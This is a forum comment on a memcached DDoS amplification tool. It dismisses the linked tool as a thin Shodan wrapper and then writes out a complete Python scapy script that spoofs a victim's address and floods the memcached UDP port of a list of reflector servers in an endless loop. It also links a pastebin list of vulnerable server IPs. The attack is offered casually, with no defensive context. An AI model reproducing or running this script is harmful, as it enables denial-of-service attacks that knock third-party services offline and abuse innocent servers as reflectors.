3 ms·
That code [0] is just input() calls and a query to the https://www.shodan.io/ https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memc
by shpx 9y ago
That code [0] is just input() calls and a query to the https://www.shodan.io/ https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script
from scapy.all import IP, UDP, Raw, send
target = '127.0.0.256'
with open('ips.txt', 'r') as f:
ips = f.readlines()
payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
while True:
for ip in ips:
send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)
You can get ips.txt from https://pastebin.com/eSCHTTVu https://pastebin.com/eSCHTTVu (like the article says)
[0] https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/Memcrashed.py https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/M...
[1] https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc009a43451281d165e8b9979189c405ff1/Memcrashed.py#L67 https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc0...